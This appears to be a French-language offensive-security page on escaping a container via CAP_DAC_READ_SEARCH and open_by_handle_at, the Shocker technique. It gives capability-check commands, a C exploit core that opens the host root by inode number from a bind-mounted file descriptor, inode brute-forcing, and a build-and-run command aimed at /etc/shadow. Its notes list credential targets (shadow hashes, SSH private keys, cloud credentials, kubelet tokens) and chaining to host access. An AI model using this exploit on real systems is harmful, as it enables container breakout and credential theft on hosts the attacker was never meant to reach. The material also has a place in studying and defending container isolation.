CAP_DAC_READ_SEARCH contourne les vérifications discrétionnaires de lecture et de recherche de répertoires, mais sa valeur pour l'évasion vient d'un effet de bord : elle autorise open_by_handle_at(2). Cet appel système ouvre un fichier à partir d'un file_handle opaque qui encode un numéro d'inode, et non à partir d'un chemin, de sorte qu'il n'est pas confiné à l'espace de noms de montage ni à la racine du conteneur. En devinant le handle d'un fichier du système de fichiers de l'hôte et en l'ouvrant, un attaquant lit des fichiers de l'hôte que le conteneur n'était jamais censé voir. C'est la technique Shocker.
Confirmez la capacité :
capsh --print | grep -o cap_dac_read_search
grep CapEff /proc/self/status # bit 2 set
Shocker : ouvrir par handle#
Un file_handle pour la plupart des systèmes de fichiers Linux est petit : un type de handle, et une charge utile composée du numéro d'inode sur 32 bits plus un compteur de génération. L'inode racine d'un système de fichiers hôte ext4/xfs typique est 2. L'attaquant a besoin de n'importe quel descripteur de fichier ouvert résidant sur le système de fichiers de l'hôte pour l'utiliser comme argument mount_fd ; un fichier de l'hôte bind-monté tel que /etc/hostname ou /.dockerenv remplit cet office.
// shocker-style core (error handling omitted)
struct my_handle { struct file_handle fh; unsigned char data[8]; };
int mount_fd = open("/etc/hostname", O_RDONLY); // a fd on the host fs
struct my_handle h = { .fh = { .handle_bytes = 8, .handle_type = 1 } };
*(uint32_t*)h.data = 2; // inode 2 == filesystem root
*(uint32_t*)(h.data+4) = 0; // generation
int root = open_by_handle_at(mount_fd, &h.fh, O_RDONLY); // host "/"
// now walk from the host root: readdir, resolve /etc, brute inode of shadow
Comme les répertoires sont eux-mêmes des inodes, vous ouvrez la racine de l'hôte par son inode connu 2, lisez ses entrées de répertoire pour trouver etc, l'ouvrez, et descendez jusqu'à shadow. Lorsque les noms ne sont pas lisibles, forcez le numéro d'inode : la charge utile du handle ne fait que quelques octets, donc itérer sur des inodes candidats et tenter open_by_handle_at récupère rapidement les fichiers visés.
# compile and run a shocker build against a mounted host fd
gcc shocker.c -o shocker && ./shocker /etc/hostname /etc/shadow
Notes d'exploitation#
- C'est une primitive de lecture, pas une exécution de code. Ses cibles à plus forte valeur sont
/etc/shadowpour un cassage hors ligne, les clés privées sous/root/.sshet/home/*/.ssh, les fichiers d'identifiants cloud, et les jetons kubelet ou de compte de service sur un nœud. - Le
mount_fddoit résider sur le même système de fichiers que la cible. Les bind mounts Docker comme/etc/resolv.conf,/etc/hostnameet/etc/hostsse trouvent généralement sur le système de fichiers racine de l'hôte, qui est précisément là où sont les fichiers sensibles. - Associez le
/etc/shadowrécupéré à un cassage hors ligne, ou enchaînez une clé privée récupérée vers une session interactive sur l'hôte. Pour un accès en écriture, combinez avec CAP_DAC_OVERRIDE.